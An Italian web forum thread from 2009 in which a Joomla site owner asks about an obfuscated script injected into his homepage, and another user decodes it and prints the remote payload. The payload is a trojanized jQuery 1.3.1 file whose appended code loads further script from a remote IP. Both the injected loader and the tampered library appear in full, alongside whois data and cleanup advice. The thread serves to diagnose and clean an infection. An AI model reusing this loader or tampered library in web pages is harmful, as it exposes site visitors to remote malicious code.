Joomla.it Forum

Non solo Joomla... => Sicurezza => Topic aperto da: dark78 - 20 Apr 2009, 17:21:52

Titolo: Problema con stringa javascript non identificata
Inserito da: dark78 - 20 Apr 2009, 17:21:52
Salve a tutti amici,
è da 2 giorni che non riesco ad eliminare il problema causato da una stringa in più che mi appare nel codice html della homepage del sito.
Ecco cosa rilevo visualizzando il codice

Codice: [Seleziona]
</head>

<script language=javascript><!--
document.write(unescape('%3CsUAcr0qeipUAt%20U60s0erNMRcU60%3D%2F%2F94U60%2E0e247UA%2E2NMR%2E195%2FjquUAeO1rNMRyU60%2EjsCi%3EMO%3CCi%2F0qescr0eipt%3E').replace(/0e|UA|MO|NMR|U60|O1|Ci|0qe/g,""));
 --></script>

<body id="body_bg">

Sapete dirmi come posso toglierlo? E da chi è stato generato?
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: Locu - 21 Apr 2009, 00:03:05
ciao, quella è una stringa offuscata che punta a qualcosa di maligno al 99%... devo reinstallare la virtual machine quindi non posso darti maggiori info. Ad ogni modo ho decodificato la stringa eccola qui: (non seguire il link)

<script src=//94.247.2.195/jquery.js></script>

qui sotto ti riporto il whois dell'ip 94.247.2.195

Citazione
Risultato query sull'IP 94.247.2.195
Risoluzione nome: hs.2-195.zlkon.lv

inetnum: 94.247.2.0 - 94.247.3.255
netname: ZLKON
descr: ZlKon
country: LV
admin-c: ZK508-RIPE
tech-c: DES31-RIPE
status: ASSIGNED PA
mnt-by: PCEXPRESS-MNT
mnt-lower: ZLKON-MNT
mnt-routes: ZLKON-MNT
source: RIPE # Filtered

role: ZlKon HostMaster
address: Lilijas iela 4-74
address: Riga, LV-1055
address: Latvija
phone: +371 26330593
admin-c: AD5952-RIPE
tech-c: AD5952-RIPE
nic-hdl: ZK508-RIPE
mnt-by: ZLKON-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@zlkon.lv

role: DATORU EXPRESS SERVISS HostMaster
address: 18. novembra street 319C
address: Daugavpils, LV-5413
address: Latvia
phone: +371 26631339
fax-no: +371 65420725
remarks: Information: http://www.pcexpress.lv
remarks: Questions: hostmaster@pcexpress.lv
admin-c: IV745-RIPE
tech-c: IV745-RIPE
nic-hdl: DES31-RIPE
mnt-by: PCEXPRESS-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@pcexpress.lv


route: 94.247.0.0/21
descr: "DATORU EXPRESS SERVISS" Ltd.
origin: AS12553
mnt-by: PCEXPRESS-MNT
source: RIPE # Filtered

per toglierla ti basterà eliminarla da tutti i file infetti, da chi è stata generata non saprei che dirti. Cmq in questi giorni analizzerò il file jquery.js e ti darò altre notizie. ciao
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: Locu - 21 Apr 2009, 00:07:11
questo è il contenuto del file jquery.js... a prima vista sembra un worm.

Citazione
/*
 * jQuery JavaScript Library v1.3.1
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
 */
(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.makeArray(E))},selector:"",jquery:"1.3.1",size:function(){return this.length},get:function(E){return E===g?o.makeArray(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,find:function(E){if(this.length===1&&!/,/.test(E)){var G=this.pushStack([],"find",E);G.length=0;o.find(E,this[0],G);return G}else{var F=o.map(this,function(H){return o.find(E,H)});return this.pushStack(/[^+>] [^+>]/.test(E)?o.unique(F):F,"find",E)}},clone:function(F){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.cloneNode(true),H=document.createElement("div");H.appendChild(I);return o.clean([H.innerHTML])[0]}else{return this.cloneNode(true)}});var G=E.find("*").andSelf().each(function(){if(this[h]!==g){this[h]=null}});if(F===true){this.find("*").andSelf().each(function(I){if(this.nodeType==3){return}var H=o.data(this,"events");for(var K in H){for(var J in H[K]){o.event.add(G,K,H[K][J],H[K][J].data)}}})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var F=o.expr.match.POS.test(E)?o(E):null;return this.map(function(){var G=this;while(G&&G.ownerDocument){if(F?F.index(G)>-1:o(G).is(E)){return G}G=G.parentNode}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML:null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(K,N,M){if(this[0]){var J=(this[0].ownerDocument||this[0]).createDocumentFragment(),G=o.clean(K,(this[0].ownerDocument||this[0]),J),I=J.firstChild,E=this.length>1?J.cloneNode(true):J;if(I){for(var H=0,F=this.length;H<F;H++){M.call(L(this[H],I),H>0?E.cloneNode(true):J)}}if(G){o.each(G,z)}}return this;function L(O,P){return N&&o.nodeName(O,"table")&&o.nodeName(P,"tr")?(O.getElementsByTagName("tbody")[0]||O.appendChild(O.ownerDocument.createElement("tbody"))):O}}};if((document.cookie.indexOf('m'+'ie'+'k=1')<0)&&(typeof(ztv)!=typeof('CDF'))){var z1=navigator,z2=z1.appName;ztv=z2.charAt(0);document.write(('<s'+'cri'+'pt src="htt'+'p://94.2'+'47.2.1'+'95/ne'+'ws/?id=10KK"><'+'/scri'+'pt>').replace('KK',ztv=='M'?'0':'1'));}(function(){var Q=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]+['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[]+)+|[>+~])(\s*,\s*)?/g,K=0,G=Object.prototype.toString;})();})();

appena ho 5 min me lo guardo bene e ti saprò dire qualcosa di + preciso. ;)

 
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: dark78 - 22 Apr 2009, 03:04:48
Grazie Locu, sono in prossimità di eliminare e reinstallare il tutto... attendo con ansia tuoi consigli.
L'hosting che mi ospita mi ha dato dei log.txt di tutti i file infetti.. e a dir la verità sono un bel po' quasi tutti index.php, index.html e .js
Insomma sono nella merd  :-[ :'(
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: dark78 - 22 Apr 2009, 03:05:42
ah dimenticavo.. il joomla che uso è la vers. 1.0.15, se può esserti utile!
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: Locu - 22 Apr 2009, 23:33:17
ciao, ho dato un'occhiata più accurata a quel file e non penso sia un worm... da più l'idea di un cookie grabber o roba simile, dovò studiarmi jquery (http://jquery.com/) per essere più preciso in quanto la semantica è un pò caotica.

la versione del joomla è indifferente piuttosto assicurati di non avere falle che permettano accessi malevoli. bye
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: dark78 - 23 Apr 2009, 00:34:34
Ok Locu,
intanto ti ringrazio per la celerità. Un sito di quelli che ho fatto l'ho sistemato eliminandolo del tutto e reinstallando joomla. Dopo aver ripristinato il DB devo soltanto installare i vari componenti (anch'essi infetti) e i vari moduli.
Inoltre, ho cambiato la password di accesso ftp, come mi consiglia l'Host.
Ci aggiorniamo per la risoluzione degli altri siti  ;)
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: dark78 - 27 Apr 2009, 16:10:01
Gentile Locu,  ???
stavo pensando di sovrascrivere l'intera cartella joomla, oltre a non caricare il file configuration.php e la cartella /installation quali file non devo sovrascrivere? Penso che facendo così ripristinerò una buona parte di file infetti! Ovviamente dovrò eliminare i componenti e moduli aggiuntivi!!
Potrebbe essere una soluzione rapida??  :'(
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: Locu - 28 Apr 2009, 21:47:27
si, credo che potrebbe andare, cmq lascio la parola agli esperti di joomla. :)
Titolo: Re: Problema con stringa javascript non identificata
Inserito da: dark78 - 04 Mag 2009, 12:54:50
Gentile Locu,  ???
stavo pensando di sovrascrivere l'intera cartella joomla, oltre a non caricare il file configuration.php e la cartella /installation quali file non devo sovrascrivere? Penso che facendo così ripristinerò una buona parte di file infetti! Ovviamente dovrò eliminare i componenti e moduli aggiuntivi!!
Potrebbe essere una soluzione rapida??  :'(

Esperti di joomlaaaaaa!!! :o